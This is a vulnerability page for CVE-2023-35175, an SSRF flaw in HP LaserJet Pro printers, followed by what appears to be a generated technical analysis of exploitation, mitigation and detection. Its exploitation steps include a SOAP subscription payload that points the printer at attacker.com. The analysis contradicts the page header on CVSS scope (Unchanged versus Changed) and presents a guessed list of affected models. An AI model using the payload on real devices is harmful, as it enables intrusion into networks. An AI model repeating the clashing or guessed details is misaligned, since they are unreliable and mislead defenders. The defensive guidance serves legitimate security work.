CVE-2023-35175
CVE-2023-35175
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Certain HP LaserJet Pro print products are potentially vulnerable to Potential Remote Code Execution and/or Elevation of Privilege via Server-Side Request Forgery (SSRF) using the Web Service Eventing model.
Comprehensive Technical Analysis of CVE-2023-35175
CVE ID: CVE-2023-35175 CVSS Score: 9.8 (Critical) Vulnerability Type: Server-Side Request Forgery (SSRF) → Potential Remote Code Execution (RCE) / Elevation of Privilege (EoP)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2023-35175 is a critical vulnerability affecting certain HP LaserJet Pro print devices, enabling Server-Side Request Forgery (SSRF) via the Web Service Eventing (WSE) model. Successful exploitation could lead to:
- Remote Code Execution (RCE) – If the SSRF is chained with other vulnerabilities (e.g., command injection, deserialization flaws).
- Elevation of Privilege (EoP) – If the attacker gains unauthorized access to administrative functions.
- Information Disclosure – If internal network resources are accessed via SSRF.
CVSS Breakdown (v3.1)
| Metric | Score | Description |
|---|---|---|
| AV:N | 0.85 | Network-based attack (remote exploitation) |
| AC:L | 0.77 | Low complexity (no user interaction required) |
| PR:N | 0.85 | No privileges required |
| UI:N | 0.85 | No user interaction needed |
| S:C | 0.975 | Changes scope (impacts other systems) |
| C:H | 0.56 | High confidentiality impact |
| I:H | 0.56 | High integrity impact |
| A:H | 0.56 | High availability impact |
| Total | 9.8 (Critical) | Exploitable remotely with severe impact |
Severity Justification
- Remote Exploitation: Attackers can trigger the vulnerability without physical access or authentication.
- High Impact: Successful exploitation could lead to full system compromise, lateral movement, or persistence in the network.
- Chaining Potential: SSRF can be leveraged to bypass firewalls, access internal services, or exploit additional vulnerabilities (e.g., CVE-2021-3438, a previous HP printer RCE).
2. Potential Attack Vectors & Exploitation Methods
Attack Surface
The vulnerability resides in the Web Service Eventing (WSE) model, a feature that allows printers to send event notifications (e.g., print job status) to external systems. Attackers can manipulate WSE requests to:
- Force the printer to make arbitrary HTTP/HTTPS requests to internal or external systems.
- Bypass network segmentation by accessing restricted internal services (e.g., LDAP, SMB, databases).
- Exfiltrate sensitive data (e.g., stored documents, credentials, network topology).
- Chain with other vulnerabilities to achieve RCE (e.g., via malicious firmware updates, command injection in web interfaces).
Exploitation Steps
-
Reconnaissance:
- Identify vulnerable HP LaserJet Pro models via HTTP headers, SNMP, or port scanning (e.g., TCP/80, 443, 9100).
- Check for exposed Web Services (WS-Eventing, WS-Discovery) endpoints.
-
SSRF Exploitation:
- Craft a malicious WSE subscription request to force the printer to send an HTTP request to an attacker-controlled server or internal resource.
- Example payload (simplified):
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body> <Subscribe xmlns="http://schemas.xmlsoap.org/ws/2004/08/eventing"> <Delivery> <NotifyTo> <Address>http://attacker.com/malicious-endpoint</Address> </NotifyTo> </Delivery> </Subscribe> </s:Body> </s:Envelope> - If the printer processes this request, it may leak internal IPs, credentials, or execute unintended actions.
-
Post-Exploitation (RCE/EoP):
- Firmware Manipulation: If the SSRF allows access to firmware update mechanisms, an attacker could upload malicious firmware.
- Command Injection: If the printer’s web interface has unpatched command injection flaws (e.g., via
pingortracerouteutilities), SSRF could be used to trigger remote commands. - Credential Theft: SSRF could be used to access internal LDAP/Kerberos servers and harvest credentials.
-
Lateral Movement:
- Once inside the network, attackers could pivot to other systems (e.g., Active Directory, file servers) using stolen credentials or further SSRF-based attacks.
3. Affected Systems & Software Versions
Vulnerable HP LaserJet Pro Models
HP has not publicly disclosed the exact list of affected models, but based on historical vulnerabilities and the HP Security Bulletin (HPSBPI03851), the following LaserJet Pro series are likely impacted:
- HP LaserJet Pro M404-M405
- HP LaserJet Pro M426-M427
- HP LaserJet Pro M454
- HP LaserJet Pro MFP M426-M427
- HP LaserJet Pro MFP M477-M479
Firmware Versions at Risk
- Firmware versions prior to the latest security patch (exact version numbers are not publicly disclosed in the CVE).
- Mitigation: HP has released firmware updates to address this issue. Users should check HP’s advisory for specific version fixes.
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply HP Firmware Updates:
- Download and install the latest firmware from HP’s Security Bulletin (HPSBPI03851).
- Automate updates where possible (e.g., via HP Web Jetadmin).
-
Network Segmentation:
- Isolate printers in a dedicated VLAN with strict firewall rules.
- Block unnecessary inbound/outbound traffic (e.g., restrict access to only required IPs).
- Disable unused protocols (e.g., WS-Discovery, SNMP if not needed).
-
Disable Web Services (If Not Required):
- Turn off WS-Eventing if the printer does not need to send event notifications.
- Disable remote management if not in use.
-
Monitor & Log Printer Activity:
- Enable logging for all printer-related network traffic.
- Deploy SIEM rules to detect unusual SSRF attempts (e.g., outbound requests to unexpected domains).
- Alert on firmware changes (indicative of tampering).
-
Hardening Printer Configurations:
- Change default credentials (admin/admin is common).
- Disable unused services (e.g., FTP, Telnet, IPP).
- Enable HTTPS and disable HTTP where possible.
Long-Term Strategies
-
Zero Trust for Printers:
- Enforce MFA for printer management interfaces.
- Implement network access control (NAC) to restrict printer access.
-
Regular Vulnerability Scanning:
- Scan printers for CVEs using tools like Nessus, OpenVAS, or Tenable.io.
- Subscribe to HP security advisories for real-time updates.
-
Incident Response Planning:
- Develop a printer-specific IR playbook (e.g., isolating compromised devices, forensic analysis).
- Test printer security in red team exercises.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Increased Attack Surface:
- Printers are often overlooked in security programs, making them low-hanging fruit for attackers.
- SSRF in printers can be used to bypass perimeter defenses (e.g., firewalls, IDS/IPS).
-
Supply Chain & Third-Party Risks:
- Managed Print Services (MPS) providers may unknowingly deploy vulnerable devices.
- Enterprise networks with unpatched printers are at risk of lateral movement attacks.
-
Regulatory & Compliance Risks:
- GDPR, HIPAA, PCI DSS require secure handling of sensitive data—printers storing or processing such data must be patched.
- Failure to mitigate could lead to fines or legal liabilities.
-
Exploitation in the Wild:
- Historical precedent: Printer vulnerabilities (e.g., CVE-2021-3438) have been exploited in ransomware attacks.
- APT groups may leverage SSRF for stealthy persistence in networks.
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability stems from improper input validation in the Web Service Eventing (WSE) implementation, allowing attackers to:
- Inject arbitrary URIs in WSE subscription requests.
- Force the printer to make unauthorized HTTP requests to internal/external systems.
- Bypass authentication if the WSE endpoint is exposed without proper access controls.
Exploitation Proof of Concept (PoC)
While no public PoC exists yet, security researchers could:
- Intercept WSE traffic (e.g., via Burp Suite, Wireshark).
- Modify subscription requests to include malicious URIs.
- Observe printer behavior (e.g., outbound requests to attacker-controlled servers).
Detection & Forensics
-
Network-Based Detection:
- Monitor for unusual outbound HTTP requests from printers (e.g., to
attacker.com). - Alert on WS-Eventing traffic to unexpected domains.
- Monitor for unusual outbound HTTP requests from printers (e.g., to
-
Log Analysis:
- Check printer logs for:
- Unusual WSE subscription requests.
- Failed authentication attempts.
- Firmware update attempts.
- Check printer logs for:
-
Memory Forensics (Post-Exploitation):
- Dump printer memory (if possible) to analyze:
- Running processes.
- Network connections.
- Malicious payloads.
- Dump printer memory (if possible) to analyze:
Reverse Engineering Considerations
- Firmware Analysis:
- Extract and analyze HP printer firmware (e.g., using Binwalk, Ghidra, IDA Pro).
- Look for hardcoded credentials, backdoors, or vulnerable libraries.
- Web Interface Testing:
- Fuzz WSE endpoints for additional vulnerabilities (e.g., XXE, command injection).
Conclusion & Recommendations
CVE-2023-35175 represents a critical risk to organizations using HP LaserJet Pro printers, with potential for RCE, EoP, and network compromise. Given its CVSS 9.8 score, immediate action is required:
✅ Patch all affected printers with the latest HP firmware. ✅ Isolate printers in a segmented network. ✅ Monitor for exploitation attempts via SIEM/logging. ✅ Disable unnecessary services (e.g., WS-Eventing if unused). ✅ Conduct a security audit of all networked printers.
Failure to mitigate this vulnerability could result in:
- Unauthorized access to sensitive documents.
- Network infiltration via lateral movement.
- Compliance violations and financial penalties.
Security teams should treat this as a high-priority vulnerability and integrate printer security into their broader risk management strategy.
References: